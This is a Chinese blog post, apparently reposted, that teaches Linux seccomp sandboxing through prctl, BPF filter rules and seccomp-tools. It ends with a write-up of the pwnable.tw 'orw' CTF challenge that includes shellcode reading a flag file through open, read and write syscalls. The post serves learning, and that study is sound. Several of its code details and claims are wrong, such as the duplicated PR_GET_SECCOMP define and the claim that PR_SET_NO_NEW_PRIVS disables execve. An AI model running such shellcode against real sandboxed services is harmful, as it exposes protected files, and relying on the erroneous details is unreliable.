從prctl函數開始學習沙箱規則


從prctl函數開始學習沙箱規則

這篇文章很早就寫完了,字數有點多,之前懶得抄到博客上去。最近回頭再看,相當於溫習一遍,也有了很多新的收獲。

1.prctl函數初探

  prctl是基本的進程管理函數,最原始的沙箱規則就是通過prctl函數來實現的,它可以決定有哪些系統調用函數可以被調用,哪些系統調用函數不能被調用。這里展示一下/linux/prctl.h和seccomp相關的源碼,其他的細節,還可以在Github上再去查找,這里就暫時不再贅述。

/* Get/set process seccomp mode */
    #define PR_GET_SECCOMP      21
    #define PR_GET_SECCOMP     22

/*
 * If no_new_privs is set, then operations that grant new privileges (i.e.
 * execve) will either fail or not grant them.  This affects suid/sgid,
 * file capabilities, and LSMs.
 *
 * Operations that merely manipulate or drop existing privileges (setresuid,
 * capset, etc.) will still work.  Drop those privileges if you want them gone.
 *
 * Changing LSM security domain is considered a new privilege.  So, for example,
 * asking selinux for a specific new context (e.g. with runcon) will result
 * in execve returning -EPERM.
 *
 * See Documentation/userspace-api/no_new_privs.rst for more details.
 */
#define PR_SET_NO_NEW_PRIVS    38
#define PR_GET_NO_NEW_PRIVS    39

prctl函數原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)

  在具體了解prctl函數之前,我們再了解這樣一個概念:沙箱。沙箱(Sandbox)是程序運行過程中的一種隔離機制,其目的是限制不可信進程和不可信代碼的訪問權限。seccomp是內核中的一種安全機制,seccomp可以在程序中禁用掉一些系統調用來達到保護系統安全的目的,seccomp規則的設置,可以使用prctl函數和seccomp函數族。

include/linux/prctl.h里面存儲着prctl的所有參數的宏定義,prctl的五個參數中,其中第一個參數是你要做的事情,后面的參數都是對第一個參數的限定。

在第一個參數中,我們需要重點關注的參數有這兩個:

(1).PR_SET_SECCOMP(22):當第一個參數是PR_SET_SECCOMP,第二個參數argv2為1的時候,表示允許的系統調用有read,write,exit和sigereturn;當argv等於2的時候,表示允許的系統調用由argv3指向sock_fprog結構體定義,該結構體成員指向的sock_filter可以定義過濾任意系統調用和系統調用參數。(細節見下圖)

(2).PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系統調用execve()函數,同時,這個選項可以通過fork()函數和clone()函數繼承給子進程。

struct sock_fprog {
    unsigned short        len;    /* 指令個數 */
    struct sock_filter *filter; /*指向包含struct sock_filter的結構體數組指針*/
}
struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code,bpf指令碼,后面我們會詳細地學習一下 */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /* Generic multiuse field */
};
//seccomp-data結構體記錄當前正在進行bpf規則檢查的系統調用信息
struct seccomp_data{
    int nr;//系統調用號
    __u32 arch;//調用架構
    __u64 instruction_pointer;//CPU指令指針
    __u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}

2.BPF過濾規則(伯克利封裝包過濾)

   我個人理解,突破沙箱規則,本質上就是一種越權漏洞。seccomp是linux保護進程安全的一種保護機制,它通過對系統調用函數的限制,來保護內核態的安全。所謂沙箱,就是把用戶態和內核態相互分離開,讓用戶態的進程,不要影響到內核態,從而保證系統安全。

  如果我們在沙箱中,完全遵守seccomp機制,我們便只能調用exit(),sigreturn(),read()和write()這四種系統調用,那么其實我們的進程應該是安全的(其實也不一定,后面的例題就沒有溢出,而是通過系統調用直接讀取文件)。但是,由於他的規則過於死板,所以后面出現了過濾模式,讓我們可以調用到那些系統調用。回顧上面提到的PT_SET_SECCOMP這個參數,后面接到的第一個參數,就是它設置的模式,第三個參數,指向sock_fprog結構體,sock_fprog結構體中,又有指向sock_filter結構體的指針,sock_filter結構體這里,就是我們要設置規則的地方。

  我們在設置過濾規則,在面對沙箱題目的時候,會經常用到Seccomp-tools這個工具。

BPF指令集簡介

  BPF_LD:加載操作,BPF_H表示按照字節傳送,BPF_W表示按照雙字來傳送,BPF_B表示傳送單個字節。

  BPF_LDX:從內存中加載byte/half-word/word/double-word。

  BPF_ST,BPF_STX:存儲操作

  BPF_ALU,BPT_ALU64:邏輯操作運算。

  BPT_JMP:跳轉操作,可以和JGE,JGT,JEQ,JSET一起表示有條件的跳轉,和BPF_JA一起表示沒有條件的跳轉。

#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>    
#include<linux/bpf.h>             //off和imm都是有符號類型,編碼信息定義在內核頭文件linux/bpf.h
#include<sys/types.h>

int main()
{
        struct sock_filter filter[]={
                BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),   // 從第0個字節開始,傳送4個字節
                BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比較是否為59(execve 的系統調用號),是就跳過下一行,如果不是,就執行下一行,第三個參數表示執行正確的指令跳轉,第四個參數表示執行錯誤的指令跳轉
                BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
        //      BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        //        殺死一個進程
        //        BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),
        //        父進程追蹤子進程,具體沒太搞清楚
                 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),
        //        異常處理
                BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        //        這里表示系統調用如果正常,允許系統調用
        };
        struct sock_fprog prog={
                .len=sizeof(filter)/sizeof(sock_filter[0]),
                .filter=filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一個參數是進行什么設置,第二個參數是設置的過濾模式,第三個參數是設置的過濾規則
        puts("123");
        return 0;
}

 

上面的代碼很簡單,是我開始看bpf的時候,H4師傅給我隨手寫的一段供我學習的設置bpf規則的代碼,我加了寫注釋。可以順着這段代碼,來一步步理解bpf規則,然后寫出自己的過濾規則,進一步地學習。

開始的時候,我們設置了sock_filter結構體數組。這里為什么是一個結構體數組呢?因為我們看到里面有BPF_STMT和BPF_JMP的宏定義,其實BPF_STMT和BPF_JMP都是條件編譯后賦值的sock_filter結構體。

#ifndef     BPF_STMT
#define    BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef     BPF_JUMP
#define    BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif

上面的例子中禁用了execve的系統調用號,64位系統中execve的系統調用號是59.

BPF_JUMP后的第二個參數是我們要設置的需要禁用的系統調用號。

我們在這里禁用的兩個系統調用分別是sys_restart_syscall和execve,如果出現這兩個系統調用,那么我們就會跳轉到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的異常處理。其實,如果我們要直接殺死這個進程的話,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)這個規則可以直接殺死進程。

github上有一篇書寫bpf規則的例子,這里給出鏈接:
bpf例子

 上面是我又加了一個過濾規則,把系統調用號11也禁用掉,因為我們這里沒有審查arch,而在32位下,execve的系統調用號是11,所以把這個系統調用也禁用掉。

 禁用掉之后,我們通過seccomp來dump一下。我們看到,最前面的就是sock_filter結構體的四個參數,后面的,就是bpf規則的匯編表示,可以看到當系統調用號是59和11的時候,跳轉到第四行殺死進程,非常明了。

至此,我們也是基本了解了bpf,並且能夠書寫出bpf規則,接下來,我們再看看seccomp-tools的工具使用。

3seccomp-tools工具使用

seccomp-tools是Github上的一個開源的工具,具體的細節,在Github上可以查閱。這里,我們做一個簡單的介紹。

dump:將bpf規則從可執行文件中dump下來。

seccomp-tools dump ./可執行文件名 [-f][inspect] [raw] [xxd]

disasm:將bpf規則反匯編出來

seccomp-tools disasm ./可執行文件名.bpf

asm:運用這個模塊,我們可以寫一個asm腳本,然后執行seccomp-tools asm [asm腳本名]

4例題(pwnable.tw —— orw)

orw是一種方法,在系統調用被嚴格禁用的情況下,代表open(),read(),write()這三個函數。

主函數如上所示,其中有一個orw_seccomp函數

我們用seccomp-tools看一下它的過濾規則,可以發現,只有rt_signreturn,exit_group,exit,open,read,write這幾個系統調用是可以被調用的。

程序沒有溢出點,但是在填入shellcode之后,會主動調用shellcode,題目提示:flag位於“/home/orw/”目錄下,所以這里寫入的shellcode直接調用sys_open,sys_read,sys_write讀取flag即可,這里寫一個匯編腳本。

mov eax,0x5;
push 0x67616c66;
push 0x2f656d6f;
push 0x682f2f2f;
mov ebx,esp;  //前面是把字符串“home/orw/flag”作為參數填入棧中,這里是從esp開始,把棧中的參數轉入ebx寄存器中
xor ecx,ecx;
push ecx;    //這里壓入棧中,表示ecx寄存器由調用者保存
xor edx,edx;
int 0x80;    //sys_open
mov eax 0x3;
mov ecx,ebx;
mov ebx,0x3;
mov edx,0x30;
int 0x80;    //sys_read
mov eax,0x4;
mov bl,0x1;
mov edx,0x30;
int 0x80     

然后用pwntools寫一個腳本吧shellcode發送過去就好了(自己寫一遍啊,2333

有借鑒過其他師傅的博客,這里一並列出:

linux沙箱之seccomp
seccomp學習筆記
關於seccomp沙箱中的bpf規則

 寫在最后:

prctl函數是最原始的,建立沙箱規則的函數。后面出現的seccomp.h對prctl函數進行了封裝,有了seccomp_init(),seccomp_rule_add(),seccomp_load()函數來進行沙箱規則的設置。

/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL        0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP        0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)    (0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)    (0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG        0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW        0x7fff0000U

seccomp_rule_add函數負責添加規則,函數原型如下:

/**
 * Add a new rule to the filter
 * @param ctx the filter context
 * @param action the filter action
 * @param syscall the syscall number
 * @param arg_cnt the number of argument filters in the argument filter chain
 * @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended)
 *
 * This function adds a series of new argument/value checks to the seccomp
 * filter for the given syscall; multiple argument/value checks can be
 * specified and they will be chained together (AND'd together) in the filter.
 * If the specified rule needs to be adjusted due to architecture specifics it
 * will be adjusted without notification.  Returns zero on success, negative
 * values on failure.
 *
 */
int seccomp_rule_add(scmp_filter_ctx ctx,
             uint32_t action, int syscall, unsigned int arg_cnt, ...);

第二個參數如下所示,表示對某個系統調用要進行的操作:

/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL        0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP        0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)    (0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)    (0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG        0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW        0x7fff0000U

最后一個參數為0的時候,表示直接對系統調用進行操作。如果當某個參數滿足條件后,對某個系統調用進行操作,那么可以有以下的宏定義進行限制:

/**
 * Specify an argument comparison struct for use in declaring rules
 * @param arg the argument number, starting at 0
 * @param op the comparison operator, e.g. SCMP_CMP_*
 * @param datum_a dependent on comparison
 * @param datum_b dependent on comparison, optional
 */
#define SCMP_CMP(...)        ((struct scmp_arg_cmp){__VA_ARGS__})

/**
 * Specify an argument comparison struct for argument 0
 */
#define SCMP_A0(...)        SCMP_CMP(0, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 1
 */
#define SCMP_A1(...)        SCMP_CMP(1, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 2
 */
#define SCMP_A2(...)        SCMP_CMP(2, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 3
 */
#define SCMP_A3(...)        SCMP_CMP(3, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 4
 */
#define SCMP_A4(...)        SCMP_CMP(4, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 5
 */
#define SCMP_A5(...)        SCMP_CMP(5, __VA_ARGS__)



/**
 * Comparison operators
 */
enum scmp_compare {
    _SCMP_CMP_MIN = 0,
    SCMP_CMP_NE = 1,        /**< not equal */
    SCMP_CMP_LT = 2,        /**< less than */
    SCMP_CMP_LE = 3,        /**< less than or equal */
    SCMP_CMP_EQ = 4,        /**< equal */
    SCMP_CMP_GE = 5,        /**< greater than or equal */
    SCMP_CMP_GT = 6,        /**< greater than */
    SCMP_CMP_MASKED_EQ = 7,        /**< masked equality */
    _SCMP_CMP_MAX,
};

/**
 * Argument datum
 */
typedef uint64_t scmp_datum_t;

/**
 * Argument / Value comparison definition
 */
struct scmp_arg_cmp {
    unsigned int arg;    /**< argument number, starting at 0 */
    enum scmp_compare op;    /**< the comparison op, e.g. SCMP_CMP_* */
    scmp_datum_t datum_a;
    scmp_datum_t datum_b;
};

seccomp_load負責導入規則,seccomp_load導入規則之后,添加的規則才能執行,函數原型如下:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM